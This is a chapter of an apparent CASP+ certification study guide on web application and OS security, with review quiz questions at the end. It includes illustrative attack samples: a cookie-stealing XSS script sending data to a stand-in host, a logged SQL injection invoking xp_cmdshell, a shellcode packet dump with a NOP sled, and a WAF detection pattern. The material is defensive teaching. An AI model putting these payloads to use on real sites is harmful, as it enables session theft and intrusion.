This chapter covers the following topics:
Application Security Design Considerations: This section covers concepts used to guide the process of architecting security into software products, including secure by design, secure by default, and secure by deployment.
Specific Application Issues: Topics covered include insecure direct object references, XSS, cross-site request forgery (CSRF), click-jacking, session management, input validation, SQL injection, improper error and exception handling, privilege escalation, and more.
Application Sandboxing: This section discusses the value and use of sandboxing.
Secure Encrypted Enclaves: This section covers security issues involved with encrypted information.
Database Activity Monitor: This section discusses the protections provided by the Database Activity Monitor component.
Web Application Firewalls: This section covers the implementation and use of WAFs.
Client-Side Processing vs. Server-Side Processing: This section compares and contrasts the client-side and server-side methods of processing. Topics covered include JSON/REST, browser extensions, ActiveX, Java applets, HTML5, AJAX, SOAP, state management, and JavaScript.
Operating System Vulnerabilities: This section discusses common vulnerabilities in operating systems.
Firmware Vulnerabilities: This section describes how firmware can present security issues.
This chapter covers CAS-003 objective 2.4.
Security initiatives shouldn’t stop with the operating system. Applications present their own particular vulnerabilities. This chapter covers some of the attacks that can be mounted on applications and weaknesses presented by operating systems. In addition, it discusses safe coding practices. Finally, this chapter covers devices and services used to protect applications.
Web applications are around us everywhere. They are designed to use a web server as a platform and to respond and communicate with the browsers of the users. Because they are widely used, they are also widely attacked. (The famous bank robber Willie Sutton was once asked why he robbed banks, and he responded, “That’s where the money is!”) In fact, the Open Web Application Security Project (OWASP) maintains a list of the top 10 errors found in web applications. The challenge is that those who write the code that makes applications work often do not have security as their main goal. Many times, there is a rush to “get it out.” The following section looks at the concepts of secure by design, secure by default, secure by deployment.
An application should be secure by design, by default, and by deployment. Let’s look at what this means:
Secure by design: This means the application was designed with security in mind rather than as an afterthought. An application is truly secure if you give someone the details of the application’s security system and the person still cannot defeat the security. An application should not rely on a lack of knowledge on the part of the hacker (sometimes called security by obscurity).
Secure by default: This means that without changes to any default settings, the application is secure. For example, some server products have certain security capabilities, but those services must be enabled in order to function so that the service is not available to a hacker. A product that requires the enabling of the security functions is not secure by default.
Secure by deployment: This means the environment into which the application is introduced was considered from a security standpoint. For example, it may be advisable to disable all unused interfaces on one server, while that may not be critical on another server.
To understand how to secure applications, you need to understand what you are up against. You need to know about a number of specific security issues and attacks. The following sections survey some of them.
Applications frequently use the actual name or key of an object when generating web pages. Applications don’t always verify that a user is authorized for the target object. This results in an insecure direct object reference flaw. Such an attack can come from an authorized user, meaning that the user has permission to use the application but is accessing information to which she should not have access.
To prevent this problem, each direct object reference should undergo an access check. Code review of the application with this specific issue in mind is also recommended.
Cross-site scripting (XSS) occurs when an attacker locates a website vulnerability and injects malicious code into the web application. Many websites allow and even incorporate user input into a web page to customize the page. If a web application does not properly validate this input, one of two things could happen: Either the text will be rendered on the page or a script may be executed when others visit the web page. Figure 8-1 shows a high-level view of an XSS attack.
The following XSS attack example is designed to steal a cookie from an authenticated user:
<SCRIPT>
document.location='http://site.comptia/cgi-bin/script.cgi?'+document.cookie
</SCRIPT>
Proper validation of all input should be performed to prevent this type of attack. This involves identifying all user-supplied input and testing all output.
CSRF is an attack that causes an end user to execute unwanted actions on a web application in which he or she is currently authenticated. Unlike with XSS, with CSRF, the attacker exploits the website’s trust of the browser rather than the other way around. The website thinks the request came from the user’s browser and was actually made by the user. However, the request was planted in the user’s browser. It usually gets there by a user following a URL that already contains the code to be injected. This is shown in Figure 8-2.
The following measures help prevent CSRF vulnerabilities in web applications:
Using techniques like URLEncode and HTMLEncode, encode all output based on input parameters for special characters to prevent malicious scripts from executing.
Filter input parameters based on special characters (those that enable malicious scripts to execute).
Filter output based on input parameters for special characters.
A hacker using a click-jack attack crafts a transparent page or frame over a legitimate-looking page that entices the user to click something. When he does, he is really clicking on a different URL. In many cases, the site or application may entice the user to enter credentials that could be used later by the attacker. This attack is shown in Figure 8-3.
Most responsibility for preventing click-jacking rests with the site owner. When designing website applications, the X-FRAME-OPTIONS header is used to control the embedding of a site within a frame. This option should be set to DENY, which virtually ensures that click-jacking attacks fail. Also, the SAMEORIGIN option of X-FRAME can be used to restrict the site to be framed only in web pages from the same origin.
Session management involves taking measures to protect against session hijacking. This can occur when a hacker is able to identify the unique session ID assigned to an authenticated user. It is important that the process used by the web server to generate these IDs be truly random.
A session hijacking attack is illustrated in Figure 8-4. The hacker would need to identify or discover the session ID of the authenticated user and could do so using several methods:
Guessing the session ID: This involves gathering samples of session IDs and guessing a valid ID assigned to another user’s session.
Stolen session ID: Although SSL connections hide these IDs, many sites do not require an SSL connection using session ID cookies. They also can be stolen through XSS attacks and by gaining physical access to the cookie stored on a user’s computer.
The following measures help prevent session hijacking:
Encode heuristic information, such as IP addresses, into session IDs.
Use SecureSessionModule. It modifies each session ID by appending a hash to the ID. The hash or MAC is generated from the session ID, the network portion of the IP address, the UserAgent header in the request, and a secret key stored on the server. SecureSessionModule uses this value to validate each request for a session cookie.
Many of the attacks discussed in this section arise because the web application has not validated the data entered by the user (or hacker). Input validation is the process of checking all input for things such as proper format and proper length. In many cases, these validators use either the blacklisting of characters or patterns or the whitelisting of characters or patterns. Blacklisting involves looking for characters or patterns to block. It can be prone to preventing legitimate requests. Whitelisting involves looking for allowable characters or patterns and allows only those.
Note
Please do not confuse the whitelisting and blacklisting mentioned here with the application whitelisting and blacklisting discussed in Chapter 6, “Security Controls for Host Devices.” The whitelisting and blacklisting discussed here are about whitelisting and blacklisting text using the programming in an application. Application whitelisting and blacklisting involves allowing or preventing certain applications based on an administratively configured list.
The length of the input should also be checked and verified to prevent buffer overflows. This attack type is discussed later in this section.
A SQL injection attack inserts, or “injects,” a SQL query as the input data from the client to the application. This type of attack can result in reading sensitive data from a database, modifying database data, executing administrative operations on the database, recovering the content of a given file, and even issuing commands to the operating system. Figure 5-5 shows how a regular user might request information from a database attached to a web server and also how a hacker might ask for the same information and get usernames and passwords by changing the command. In the example shown in Figure 8-5, the attack is prevented by the security rules.
The job of identifying SQL injection attacks in logs can be made easier by using commercial tools such as Log Parser by Microsoft. This command-line utility, which uses SQL-like commands, can be used to search for and locate errors of a specific type. For example, a 500 error (internal server error) often indicates a SQL injection. An example of a log entry is shown below. In this case, the presence of a CREATE TABLE statement indicates a SQL injection:
GET /inventory/Scripts/ProductList.asp
showdetails=true&idSuper=0&browser=pt%showprods&Type=588
idCategory=60&idProduct=66;CREATE%20TABLE%20[X_6624] ([id]%20int%20NOT%20NULL%20
IDENTITY%20 (1,1),%20[ResultTxt]%20nvarchar(4000)%20NULL;
Insert%20into&20[X_6858] (ResultTxt) %20exec%20master.dbo.xp_cmdshell11%20'Dir%20D: ';
Insert%20into&20[X_6858]%20values%20('g_over');
exec%20master.dbo.sp_dropextendedeproc%20'xp_cmdshell' 300
To prevent these types of attacks:
Use proper input validation.
Use blacklisting or whitelisting of special characters.
Use parameterized queries in ASP.Net and prepared statements in Java to perform escaping of dangerous characters before the SQL statement is passed to the database.
Web applications, like all other applications, suffer from errors and exceptions, and such problems are to be expected. However, the manner in which an application reacts to errors and exceptions determines whether security can be compromised.
One of the issues is that an error message may reveal information about the system that a hacker may find useful. For this reason, when applications are developed, all error messages describing problems should be kept as generic as possible. Also, you can use tools such as the OWASP’s WebScarab to try to make applications generate errors.
Privilege escalation is the process of exploiting a bug or weakness in an operating system to allow a user to receive privileges to which she is not entitled. These privileges can be used to delete files, view private information, or install unwanted programs, such as viruses. There are two types of privilege escalation:
Vertical privilege escalation: This occurs when a lower-privilege user or application accesses functions or content reserved for higher-privilege users or applications.
Horizontal privilege escalation: This occurs when a normal user accesses functions or content reserved for other normal users.
To prevent privilege escalation:
Ensure that databases and related systems and applications are operating with the minimum privileges necessary to function.
Verify that users are given the minimum access required to do their job.
Ensure that databases do not run with root, administrator, or other privileged account permissions, if possible.
Sensitive information in this discussion includes usernames, passwords, encryption keys, and paths that applications need to function but that would cause harm if discovered. Determining the proper method of securing this information is critical and is not easy. It is a generally accepted rule to not hard-code passwords—although this was not always considered a best practice. Instead, passwords should be protected using encryption when they are included in application code. This makes them difficult to change, reverse, or discover.
Storing this type of sensitive information in a configuration file also presents problems. Such files are usually discoverable, and, even if hidden, they can be discovered by using a demo version of the software if it is a standard or default location. Whatever the method used, significant thought should be given to protecting these sensitive forms of data.
To prevent disclosure of sensitive information from storage:
Ensure that memory locations where this data is stored are locked memory.
Ensure that ACLs attached to sensitive data are properly configured.
Implement an appropriate level of encryption.
Fuzz testing, or fuzzing, involves injecting invalid or unexpected input (sometimes called faults) into an application to test how the application reacts. It is usually done with a software tool that automates the process. Inputs can include environment variables, keyboard and mouse events, and sequences of API calls. Figure 8-6 shows the logic of the fuzzing process.
Two types of fuzzing can be used to identify susceptibility to a fault injection attack:
Mutation fuzzing: This type involves changing the existing input values (blindly).
Generation-based fuzzing: This type involves generating the inputs from scratch, based on the specification/format.
To prevent fault injection attacks:
Implement fuzz testing to help identify problems.
Adhere to safe coding and project management practices.
Deploy application-level firewalls.
Cookies are text files that are stored on a user’s hard drive or in a user’s memory. These files store information on the user’s Internet habits, including browsing and spending information. Because a website’s servers actually determine how cookies are used, malicious sites can use cookies to discover a large amount of information about a user.
While the information retained in cookies on a hard drive usually does not include any confidential information, attackers can use those cookies to obtain information about users that can help them develop better-targeted attacks. For example, if the cookies reveal to an attacker that a user accesses a particular bank’s public website on a daily basis, that action can indicate that a user has an account at that bank, and the attacker may attempt a phishing attack using an email that appears to come from the user’s legitimate bank.
Many antivirus and anti-malware applications include functionality that allows you to limit the type of cookies downloaded and to hide personally identifiable information (PII), such as email addresses. Often these types of safeguards end up being more trouble than they are worth because they often affect legitimate Internet communication.
When creating web applications, thought should be given to the secure storage of cookies. Cookies should be encrypted. Also, cookies to be stored on the client should not contain essential information. Any cookie that does should be stored on the server, and a pointer should be provided on the client to the cookie on the server.
Buffers are portions of system memory that are used to store information. A buffer overflow is an attack that occurs when the amount of data that is submitted to data is larger than the buffer can handle. Typically, this type of attack is possible because of poorly written application or operating system code. This can result in an injection of malicious code, primarily either a denial-of-service (DoS) attack or a SQL injection.
To protect against this issue, organizations should ensure that all operating systems and applications are updated with the latest service packs and patches. In addition, programmers should properly test all applications to check for overflow conditions.
Hackers can take advantage of this phenomenon by submitting too much data, which can cause an error or, in some cases, execute commands on the machine if the hacker can locate an area where commands can be executed. Not all attacks are designed to execute commands. At attack may just lock the computer as a DoS attack.
A packet containing a long string of no-operation (NOP) instructions followed by a command usually indicates a type of buffer overflow attack called a NOP slide. The purpose of this type of attack is to get the CPU to locate where a command can be executed. Here is an example of a packet, as seen from a sniffer:
TCP Connection Request
---- 14/03/2014 15:40:57.910
68.144.193.124 : 4560 TCP Connected ID = 1
---- 14/03/2014 15:40:57.910
Status Code: 0 OK
68.144.193.124 : 4560 TCP Data In Length 697 bytes
MD5 = 19323C2EA6F5FCEE2382690100455C17
---- 14/03/2004 15:40:57.920
0000 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0010 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0020 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0030 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0040 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0050 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0060 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0070 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0080 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
00A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
00B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
00C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
00D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
00E0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
00F0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0100 90 90 90 90 90 90 90 90 90 90 90 90 4D 3F E3 77 ............M?.w
0110 90 90 90 90 FF 63 64 90 90 90 90 90 90 90 90 90 .....cd.........
0120 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0130 90 90 90 90 90 90 90 90 EB 10 5A 4A 33 C9 66 B9 ..........ZJ3.f.
0140 66 01 80 34 0A 99 E2 FA EB 05 E8 EB FF FF 70 f..4...........p
0150 99 98 99 99 C3 21 95 69 64 E6 12 99 12 E9 85 34 .....!.id......4
0160 12 D9 91 12 41 12 EA A5 9A 6A 12 EF E1 9A 6A 12 ....A....j....j.
0170 E7 B9 9A 62 12 D7 8D AA 74 CF CE C8 12 A6 9A 62 ...b....t......b
0180 12 6B F3 97 C0 6A 3F ED 91 C0 C6 1A 5E 9D DC 7B .k...j?.....^..{
0190 70 C0 C6 C7 12 54 12 DF BD 9A 5A 48 78 9A 58 AA p....T....ZHx.X.
01A0 50 FF 12 91 12 DF 85 9A 5A 58 78 9B 9A 58 12 99 P.......ZXx..X..
01B0 9A 5A 12 63 12 6E 1A 5F 97 12 49 F3 9A C0 71 E5 .Z.c.n._..I...q.
01C0 99 99 99 1A 5F 94 CB CF 66 CE 65 C3 12 41 F3 9D ...._...f.e..A..
01D0 C0 71 F0 99 99 99 C9 C9 C9 C9 F3 98 F3 9B 66 CE .q............f.
01E0 69 12 41 5E 9E 9B 99 9E 24 AA 59 10 DE 9D F3 89 i.A^....$.Y.....
01F0 CE CA 66 CE 6D F3 98 CA 66 CE 61 C9 C9 CA 66 CE ..f.m...f.a...f.
0200 65 1A 75 DD 12 6D AA 42 F3 89 C0 10 85 17 7B 62 e.u..m.B......{b
0210 10 DF A1 10 DF A5 10 DF D9 5E DF B5 98 98 99 99 .........^......
0220 14 DE 89 C9 CF CA CA CA F3 98 CA CA 5E DE A5 FA ............^...
0230 F4 FD 99 14 DE A5 C9 CA 66 CE 7D C9 66 CE 71 AA ........f.}.f.q.
0240 59 35 1C 59 EC 60 C8 CB CF CA 66 4B C3 C0 32 7B Y5.Y.'....fK..2{
0250 77 AA 59 5A 71 62 67 66 66 DE FC ED C9 EB F6 FA w.YZqbgff.......
0260 D8 FD FD EB FC EA EA 99 DA EB FC F8 ED FC C9 EB ................
0270 F6 FA FC EA EA D8 99 DC E1 F0 ED C9 EB F6 FA FC ................
0280 EA EA 99 D5 F6 F8 FD D5 F0 FB EB F8 EB E0 D8 99 ................
0290 EE EA AB C6 AA AB 99 CE CA D8 CA F6 FA F2 FC ED ................
02A0 D8 99 FB F0 F7 FD 99 F5 F0 EA ED FC F7 99 F8 FA ................
Notice the long string of 90s in the middle of the packet; this string pads the packet and causes it to overrun the buffer.
Here is another example of a buffer overflow attack:
#include
char *code = "AAAABBBBCCCCDDD"; //including the character ' ' size = 16 bytes
void main()
{char buf[8];
strcpy(buf,code);
In this example, 16 characters are being sent to a buffer that holds only 8 bytes.
With proper input validation, a buffer overflow attack causes an access violation. Without proper input validation, the allocated space is exceeded, and the data at the bottom of the memory stack is overwritten. The key to preventing many buffer overflow attacks is input validation, in which any input is checked for format and length before it is used. Buffer overflows and boundary errors (when input exceeds the boundaries allotted for the input) are a family of error conditions called input validation errors.
Applications use memory to store resources, objects, and variables. When an application mismanages the memory it has been assigned by the operating system, several things can occur. One is that over time, by not returning the allocated memory to the operating system, memory is exhausted. In addition, objects that have been stored in memory may become inaccessible to the application. Fixing a memory leak usually involves adding or replacing some code to free the memory in the questionable code path.
Integer overflow occurs when math operations try to create a numeric value that is too large for the available space. The register width of a processor determines the range of values that can be represented. Moreover, a program may assume that a variable always contains a positive value. If the variable has a signed integer type, an overflow can cause its value to wrap and become negative. This may lead to unintended behavior. Similarly, subtracting from a small unsigned value may cause it to wrap to a large positive value, which may also be an unexpected behavior.
Mitigate integer overflow attacks by:
Using strict input validation.
Using a language or compiler that performs automatic bounds checks.
Choosing an integer type that contains all possible values of a calculation. This reduces the need for integer type casting (changing an entity of one data type into another), which is a major source of defects.
A race condition is an attack in which the hacker inserts himself between instructions, introduces changes, and alters the order of execution of the instructions, thereby altering the outcome.
A type of race condition is time of check to time of use. In this attack, a system is changed between a condition check and the display of the check’s results. For example, consider the following scenario: At 10:00 a.m. a hacker was able to obtain a valid authentication token that allowed read/write access to the database. At 10:15 a.m. the security administrator received alerts from the intrusion detection system (IDS) about a database administrator performing unusual transactions. At 10:25 a.m. the security administrator reset the database administrator’s password. At 11:30 a.m. the security administrator was still receiving alerts from the IDS about unusual transactions from the same user. In this case, a race condition was created by the hacker disturbing the normal process of authentication. The hacker remained logged in with the old password and was still able to change data.
Countermeasures to these attacks include:
Make critical sets of instructions either execute in order and in entirety or roll back or prevent the changes.
Have the system lock access to certain items it will access when carrying out these sets of instructions.
Resource exhaustion occurs when a computer is out of memory or CPU cycles. Memory leaks are an example of resource exhaustion in that eventually memory is insufficient to perform tasks. Resource exhaustion is also the goal of DoS attacks. In these attacks, the target is asked to perform some function so many times that it is overwhelmed and has no memory or CPU cycles left to perform normal activities.
To prevent or minimize the effects of attacks that attempt to exhaust resources:
Harden client machines that may be recruited for attacks that exhaust resources (for example, distributed DoS [DDoS] attacks).
Ensure that all machines are up-to-date on security patches.
Regularly scan machines to detect anomalous behavior.
As mentioned in Chapter 7, “Security Controls for Mobile and Small Form Factor Devices,” geotagging is the process of adding geographic metadata (a form of geospatial metadata) to various media, including photographs, videos, websites, SMS messages, or RSS feeds. This data usually consists of latitude and longitude coordinates, though it can also include altitude, bearing, distance, accuracy data, and place names.
Some consider geotagging a security risk because of the information it can disclose when geotagged files are uploaded, especially to social media. In some cases, information such as the location, time of day, and where you live may be included.
Measures you can take to reduce the security risk of geotagging are:
Disable geotagging on smartphones.
Double-check and tighten security settings on social media sites.
If possible, use geotag-specific security software to manage your multimedia.
Remove geotagging from photos you’ve already uploaded.
A data remnant is residual information left on a drive after a delete process. A data remnant can cause inadvertent disclosure of sensitive information. Simple deletion and formatting do not remove this data. During media disposal, you must ensure that no data remains on the media. The most reliable, secure means of removing data from magnetic storage media, such as a magnetic tape or cassette, is through degaussing, which exposes the media to a powerful, alternating magnetic field. It removes any previously written data, leaving the media in a magnetically randomized (blank) state. Some other disposal methods are:
Data purging: You can use a method such as degaussing to make the old data unavailable, even with forensics. Purging renders information unrecoverable against laboratory attacks (forensics).
Data clearing: This type of disposal renders information unrecoverable by a keyboard. Clearing extracts information from data storage media by executing software utilities, keystrokes, or other system resources executed from a keyboard.
It has been estimated that 90% of software components are downloaded from code repositories. These repositories hold code that can be reused. Using these repositories speeds software development because it eliminates the time it would take to create these components from scratch.
Organizations might have their own repositories for inhouse code that has been developed. In other cases, developers may use a third-party repository in which the components are sold. Vulnerabilities exist in much of the code found in these repositories. Many have been documented and disclosed as common vulnerabilities and exposures (CVEs). In many cases, these vulnerabilities have been addressed, and updates have been uploaded to the repository. The problem is that far too many have not been addressed, and even in cases where they have been addressed, developers continue to use the component they have without downloading the new version.
When third-party repositories must be used, developers can no longer afford to use third-party libraries without also keeping track of the libraries’ updates and security profiles.
Not all code reuse happens with third parties. In some cases, organizations maintain internal code repositories. The Financial Services Information Sharing and Analysis Center, an industry forum for collaboration on critical security threats facing the global financial services sector, recommends the following measures to reduce the risk of reusing components in general:
Ensure that developers must apply policy controls during the acquisition process as the most proactive type of control for addressing the security vulnerabilities in open source libraries.
Manage risk by using controlled internal repositories to provision open source components and block the ability to download components directly from the Internet.
Sandboxing an application means limiting the parts of the operating system and user files the application is allowed to interact with. This prevents the code from making permanent changes to the OS kernel and other data on the host machine. This concept is illustrated in Figure 8-7.
The sandbox has to contain all the files the application needs to execute, which can create problems between applications that need to interact with one another. Because of this, sandboxing can sometimes create more problems than it solves. Sandboxing is most often implemented by creating a virtual machine (VM) that is disconnected from the physical network.
A secure enclave is a part of an operating system that cannot be compromised even when the operating system kernel is compromised because the enclave has its own CPU and is separated from the rest of the system. This means security functions remain intact even when someone has gained control of the OS.
Secure enclaves are a relatively recent technology being developed to provide additional security. Cisco, Microsoft, and Apple all have implementations of secure enclaves that differ in implementation but all share the same goal of creating an area that cannot be compromised even when the OS is.
Database activity monitoring (DAM) involves monitoring transactions and the activity of database services. DAM can be used for monitoring unauthorized access and fraudulent activities as well as for compliance auditing. DAM is discussed in more detail in the section “Application and Protocol-Aware Technologies” in Chapter 5, “Network and Security Components, Concepts, and Architectures.”
A web application firewall (WAF) applies rule sets to an HTTP conversation. These sets cover common attack types to which these session types are susceptible. Without customization, a WAF protects against SQL injection, DOM-based XSS, and HTTP exhaustion attacks. WAFs are discussed in more detail in the section “Application and Protocol-Aware Technologies” in Chapter 5.
When a web application is developed, one of the decisions to be made is what information will be processed on the server and what will be processed on the browser of the client. Figure 8-8 shows client-side processing, and Figure 8-9 shows server-side processing.
Many web designers like processing to occur on the client side, which taxes the web server less and allows it to serve more users. Others shudder at the idea of sending to the client all the processing code—and possibly information that could be useful in attacking the server. Modern web development should be concerned with finding the right balance between server-side and client-side implementation.
Representational State Transfer (REST) is a client/server model for interacting with content on remote systems, typically using HTTP. It involves accessing and modifying existing content and also adding content to a system in a particular way. REST does not require a specific message format during HTTP resource exchanges. It is up to a RESTful web service to choose which formats are supported. RESTful services are services that do not violate required restraints. XML and JavaScript Object Notation (JSON) are two of the most popular formats used by RESTful web services.
JSON is a simple text-based message format that is often used with RESTful web services. Like XML, it is designed to be readable, and this can help when debugging and testing. JSON is derived from JavaScript and, therefore, is very popular as a data format in web applications.
REST/JSON has several advantages over SOAP/XML (covered later in this section). They include:
Size: REST/JSON is a lot smaller and less bloated than SOAP/XML. Therefore, much less data is passed over the network, which is particularly important for mobile devices.
Efficiency: REST/JSON makes it easier to parse data, thereby making it easier to extract and convert the data. As a result, it requires much less from the client’s CPU.
Caching: REST/JSON provides improved response times and server loading due to support from caching.
Implementation: REST/JSON interfaces are much easier than SOAP/XML to design and implement.
SOAP/XML is generally preferred in transactional services such as banking services.
Browser extensions, or add-ons as they are sometimes called, are small programs or scripts that increase the functionality of a website. The following sections look at some of the most popular technologies used for browser extensions.
ActiveX is a server-side Microsoft technology that uses object-oriented programming (OOP) and is based on the Component Object Model (COM) and the Distributed Component Object Model (DCOM). COM enables software components to communicate. DCOM provides the same functionality to software components distributed across networked computers. Self-sufficient programs called controls become a part of the operating system once downloaded. The problem is that these controls execute under the security context of the current user, which in many cases has administrator rights. This means that a malicious ActiveX control could do some serious damage.
ActiveX uses Authenticode technology to digitally sign controls. This system has been shown to have significant flaws, and ActiveX controls are generally regarded with more suspicion than Java applets (covered next).
A Java applet is a small server-side component created using Java that runs in a web browser. It is platform independent and creates intermediate code called byte code that is not processor specific. When a Java applet is downloaded to a computer, the Java Virtual Machine (JVM), which must be present on the destination computer, converts the byte code to machine code.
The JVM executes the applet in a protected environment called a sandbox. This critical security feature, called the Java Security Model (JSM), helps mitigate the damage that could be caused by malicious code. However, it does not eliminate the problem with hostile applets (also called active content modules), so Java applets should still be regarded with suspicion as they may launch intentional attacks after being downloaded from the Internet.
HTML5 is the latest version of Hypertext Markup Language (HTML). It has been improved to support the latest multimedia (which is why it is considered a likely successor to Flash). Some of the security issues of HTML4 and JavaScript remain in HTML5, and hackers who spread malware and steal user information on the Web will continue to seek new ways of doing so in HTML5. As they investigate HTML5, they are likely to find new ways of tricking users, spreading malware, and stealing clicks.
Asynchronous JavaScript and XML (AJAX) is a group of interrelated web development techniques used on the client side to create asynchronous web applications. AJAX uses a security feature called the same-origin policy that can prevent some techniques from functioning across domains. This policy permits scripts running on pages originating from the same site—a combination of scheme, hostname, and port number—to access each other’s DOM with no specific restrictions, but it prevents access to DOM on different sites.
An AJAX application introduces an intermediary—the AJAX engine—between the user and the server. Instead of loading a web page, at the start of the session the browser loads an AJAX engine. The AJAX engine allows the user’s interaction with the application to happen asynchronously (that is, independently of communication with the server). Figure 8-10 compares the AJAX process and that of a traditional web application.
Simple Object Access Protocol (SOAP) is a protocol specification for exchanging structured information in the implementation of web services in computer networks. The SOAP specification defines a messaging framework which consists of:
The SOAP processing model: Defines the rules for processing a SOAP message
The SOAP extensibility model: Defines the concepts of SOAP features and SOAP modules
The SOAP binding framework: Describes the rules for defining a binding to an underlying protocol that can be used for exchanging SOAP messages between SOAP nodes
The SOAP message: Defines the structure of a SOAP message
One of the disadvantages of SOAP is the verbosity of its operation. This has led many developers to use the REST architecture instead. From a security perspective, while the SOAP body can be partially or completely encrypted, the SOAP header is not encrypted and allows intermediaries to view the header data.
In the context of web applications, state management refers to the process of making an application remember the interactions the user has had with the application. Because the Web itself is stateless (that is, pages previously accessed are not remembered), this management is provided externally in some way.
There are a number of ways this can be done. One is to use cookies to track past interactions. The advantage of this method is that it reduces the burden on the web server. Another method is to have the server store this information. This requires local storage for the information and can cause problems in load balancing of fault-tolerant configurations. Another method is to store this information in RAM rather than long-term storage. In any case, the server-side approach places a load on the server.
In its most common form, JavaScript resides inside HTML documents and can provide levels of interactivity to web pages that are not achievable with simple HTML. JavaScript is text that is fed into a browser that can interpret it and then is enacted by the browser. JavaScript’s main benefit is that it can be understood by the common human. JavaScript commands are known as event handlers, and they can be embedded right into existing HTML commands.
As many of the traditional operating system vulnerabilities have been addressed, many attacks have moved up the OSI model to the application layer. Operating system vulnerabilities still pose a big issue because, as we have seen, compromising the OS leads to a compromise of everything on the system.
Some of the attacks that we still see in the OS (and I’m sure more are being hatched as I write this) are:
Drive-by download attacks: These attacks involve using exploit kits to redirect users in order to enable malware installation. In this scenario, hackers can compromise a legitimate website by introducing malicious content that redirects users onto a landing page where exploits are present.
Local privilege escalation (LPE) attacks: With these attacks, the malicious individuals are able to execute exploits and payloads that they would be unable to execute otherwise.
Surprisingly, and despite earlier (and somewhat undeserved) reputations for being so secure, Apple, iOS, and Linux now have vulnerabilities just like Windows. On the other hand, Internet Explorer continues to be the most vulnerable browser.
Firmware updates might be some of the more neglected but important tasks that technicians perform. Many subscribe to the principle “if it ain’t broke, don’t fix it.” The problem with this approach is that in many cases firmware updates are not designed to add functionality or fix something that doesn’t work exactly right; rather, in many cases, they address security issues.
Computers contain a lot of firmware, all of which is potentially vulnerable to hacking—everything from USB keyboards and webcams to graphics and sound cards. Even computer batteries have firmware. A simple Google search for “firmware vulnerabilities” turns up pages and pages of results that detail various vulnerabilities too numerous to mention.
While it is not important to understand each and every firmware vulnerability, it is important to realize that firmware attacks are on the new frontier, and the only way to protect yourself is to keep up with the updates.
As mentioned in the section “How to Use This Book” in the Introduction, you have a couple choices for exam preparation: the exercises here and the practice exams in the Pearson IT Certification test engine.
Review the most important topics in this chapter, noted with the Key Topics icon in the outer margin of the page. Table 8-1 lists these key topics and the page number on which each is found.
Key Topic Element |
Description |
Page number |
List |
Secure by design, by default, and by deployment |
355 |
List |
Session management attacks |
359 |
List |
Types of privilege escalation |
362 |
Fuzzing |
363 |
|
List |
Handling data remnants |
369 |
Sandboxing |
370 |
|
Client-side processing |
372 |
|
Server-side processing |
372 |
|
List |
REST/JSON advantages over SOAP/XML |
373 |
Classic and AJAX models |
375 |
|
List |
SOAP framework |
376 |
List |
Operating system vulnerabilities |
377 |
Define the following key terms from this chapter and check your answers in the glossary:
Asynchronous JavaScript and XML (AJAX)
common vulnerabilities and exposures (CVEs)
cross-site request forgery (CSRF)
database access monitoring (DAM)
horizontal privilege escalation
insecure direct object reference flaw
local privilege escalation attack
Open Web Application Security Project (OWASP)
Representational State Transfer (REST)
Simple Object Access Protocol (SOAP)
web application firewall (WAF)
1. Some server products have certain capabilities (such as FTP), but those services may need to be enabled in order to function so that the service is not available to a hacker. What application security principle does this illustrate?
secure by deployment
secure by design
secure by default
secure by accident
2. What type of attack is illustrated in the following output?
<SCRIPT>
document.location='http://site.comptia/cgi-bin/script.
cgi?'+document.cookie
</SCRIPT>
insecure direct object references
XSS
CSRF
click-jacking
3. In what type of web attack does the website think that a request came from the user’s browser and was made by the user himself, when actually the request was planted in the user’s browser?
insecure direct object references
XSS
CSRF
click-jacking
4. What design measure is the solution to most XSS and CSRF attacks?
iptables
input validation
tripwire
ACLs
5. The following is an example of what type of attack?
Message: Access denied with code 403 (phase 2). Pattern match
"union.{1,100}?select" at ARGS:$id. [data "union all
select"] [severity "CRITICAL"] [tag "WEB_ATTACK"] [tag "WASCTC/
WASC-19"] [tag "OWASP_TOP_10/A1"] [tag OWASP_AppSensor/CIE1"]
Action: Intercepted (phase 2) Apache-Handler: php5-script
SQL injection
improper exception handing
XSS
CSRF
6. Which testing method injects invalid or unexpected input into an application to test how the application reacts?
MAC spoofing
fuzzing
white box
SQL injection
7. A packet containing a long string of no-operation instructions (NOPs) followed by a command usually indicates what type of attack?
XSS
CSRF
buffer overflow
Bluejacking
8. What behavior occurs when an arithmetic operation attempts to create a numeric value that is too large to be represented within the available storage space?
integer overflow
buffer overflow
race condition
memory leak
9. Which organization maintains a list of the top 10 attacks on an ongoing basis?
WASC
OWASP
BSI
ISO
10. The following is what type of attack?
#include
char *code = "AAAABBBBCCCCDDD"; //including the character ' ' size = 16 bytes
void main()
{char buf[8];
strcpy(buf,code);
XSS
CSRF
SQL injection
buffer overflow
3.239.97.34